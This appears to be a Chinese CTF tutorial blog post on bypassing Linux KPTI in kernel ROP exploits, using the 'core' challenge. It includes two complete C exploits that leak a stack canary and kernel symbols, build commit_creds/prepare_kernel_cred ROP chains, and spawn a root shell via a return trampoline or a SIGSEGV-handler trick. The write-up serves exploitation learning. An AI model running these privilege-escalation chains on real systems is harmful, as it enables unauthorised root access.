目录

Kernel Pwn ROP bypass KPTI

目录

在不开 KPTI 的情况下, 每个进程的页表用时有 kernel space 和 user space 的映射, 但是处于用户态时没有权限访问 kernel space. 陷入内核后不需要切换页表和刷新 TLB, 可以避免很大的开销. 不过在 Intel 的 CPU 上, 存在可以侧信道攻击的硬件漏洞 (在 “用户态” 访问内核态?) 于是产生了这种缓解措施: 内核页表隔离KPTI.

KPTI 的想法也很简单, bug 无法避免, 那就让 bug 不能被利用. 每个进程维护两个页表, 一个是用户态使用的, 另一个是内核态使用的. 用户态使用的页表不再包含 kernel space 的所有映射, 仅仅包含如用于处理系统调用等必要的部分. 而内核态使用的页表则包含所有 kernel space 的映射, 以及所有 user space 的映射 (要 copy from, copy to). 既然内核态用了另一张页表, 那么显然给 user space 读写权限就够了, 所以即使是代码段 (对应的页), 在内核态的这张表中, 也没有可执行权限.

copy from/to user 时的 SMAP

某天突然想到开了 SMAP 那怎么进行 copy 呢?

暂时关一下就好了. 内核使用指令 stac 和 clac 对 rflags 的 AC 位进行操作, 内核根据这个位来判断是否暂时关闭 SMAP

参考

现在陷入内核和返回用户态, 由于页表不同, 必须涉及到切换页表. 顶级页表的物理地址被保存在 cr3 这个寄存器中. 值得一提的是, 一个进程的用户态顶级页表和内核态顶级页表放在连续的地址上, 内核态页表在低地址, 用户态页表在高地址, 并且这 8k 页面对齐到 0x2000. 下图地址用二进制来表示, 末尾均是 12 个 0.

P P G G D D K U e s r e n r e l x x x x x x x x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

这样, 在同一个进程进行上下文切换的时候, cr3 只需要改变第 12 位即可.

KPTI 的存在, 使得 ret2usr 完全不可行了, 所以第一个绕过方法就是要在 ROP 链中完成提权, 切换页表, 返回用户态这一系列工作.

在 ROP 链中先写好 commit_creds(prepare_kernel_cred(NULL)). 需要注意的是, 并没有类似 mov rdi, rax; ret 这样的 gadget, 不过有 mov_rdi_rax_jmp_rdx, 配合 pop rcx; ret 也可以控制程序流 (大概这就是 JOP?).

内核代码中有一个 swapgs_restore_regs_and_return_to_usermode 函数实现了切换页表, 返回用户态的操作. 这个函数开头一部分长这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pop     r15
pop     r14
pop     r13
pop     r12
pop     rbp
pop     rbx
pop     r11
pop     r10
pop     r9
pop     r8
pop     rax
pop     rcx
pop     rdx
pop     rsi
mov     rdi, rsp
mov     rsp, qword ptr gs:unk_6004
push    qword ptr [rdi+30h]
push    qword ptr [rdi+28h]
push    qword ptr [rdi+20h]
push    qword ptr [rdi+18h]
push    qword ptr [rdi+10h]
push    qword ptr [rdi]
push    rax
jmp     short loc_FFFFFFFF81200F89

利用应当从 mov rdi, rsp 这里开始, 忽略栈的操作 (这些操作不会影响布置的 ROP), 化简流程如下:

1
2
3
4
5
6
7
mov         rdi, cr3
or          rdi, 0x1000
mov         cr3, rdi
pop         rax
pop         rdi
swapgs
iretq

所以只要跳到 swapgs_restore_regs_and_return_to_usermode 开头的 mov rdi, rsp 这个地方, 然后栈上布置 dummy rax, dummy rdi, iretq 的 cs, rflags, rsp, ss, rip 即可返回用户态.

技巧
不同版本的 swapgs_restore_regs_and_return_to_usermode 可能不太一样, mov rdi, rsp 这一句的偏移也不太一样, 最好是每题都看一下.

还是用 core 那题, 在 qemu 启动脚本里的 --append 中加上 kpti=1 即可开启 KPTI

exp 如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

int fd;

size_t commit_creds, prepare_kernel_cred, swapgs_restore_regs_and_return_to_usermode, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
        if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
            swapgs_restore_regs_and_return_to_usermode = addr;
            printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
            swapgs_restore_regs_and_return_to_usermode += 22;
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_rdi_rax_jmp_rdx  = off + 0xffffffff8106a6d2;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
    rop[cur++] = 0;
    rop[cur++] = 0;
    rop[cur++] = (size_t) getRootShell;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    saveStatus();
    pwn();
    return 0;
}

如果返回用户态但是不切换页表, 会发生什么呢? 尝试在 ROP 链中使用 swapgsiretq. 首先需要找到相应的 gadget, iretq 单个指令就可以了, swapgs 的 gadget 常用的是 swapgs; popfq; ret, 注意要给 popfq 留一个位置.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_popfq_ret;
    rop[cur++] = 0;
    rop[cur++] = iretq;
    rop[cur++] = (size_t) getRootShell;
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

发现程序段错误了. 内核没有 panic, 说明是在用户态出现的问题, 而段错误一般是访问了不能访问的虚拟地址 (如不存在, 或存在但是没有相应权限).

这很好理解, 我们并没有切换页表, 所以我们想返回的用户空间地址, 比如 0x404000, 在内核页表上并没有权限, 于是陷入内核, 随即触发段错误, 发送 SIGSEGV signal.

我们可以重写这个信号的处理程序, 这样又会从内核跳转回用户态执行我们的处理程序, 这里是正常的流程, 会切换页表, 所以可以成功返回用户态. 具体写起来也很简单, 只需要 signal(SIGSEGV, getRootShell); 即可

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

int fd;

size_t commit_creds, prepare_kernel_cred, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret          = off + 0xffffffff81000b2f;
    size_t mov_rdi_rax_jmp_rdx  = off + 0xffffffff8106a6d2;
    size_t pop_rdx_ret          = off + 0xffffffff810a0f49;
    size_t swapgs_popfq_ret     = off + 0xffffffff81a012da;
    size_t iretq                = off + 0xffffffff81050ac2;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0;
    rop[cur++] = prepare_kernel_cred;
    rop[cur++] = pop_rdx_ret;
    rop[cur++] = commit_creds;
    rop[cur++] = mov_rdi_rax_jmp_rdx;
    rop[cur++] = swapgs_popfq_ret;
    rop[cur++] = 0;
    rop[cur++] = iretq;
    rop[cur++] = 0;         // dummy rip
    rop[cur++] = user_cs;
    rop[cur++] = user_rflags;
    rop[cur++] = user_sp;
    rop[cur++] = user_ss;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}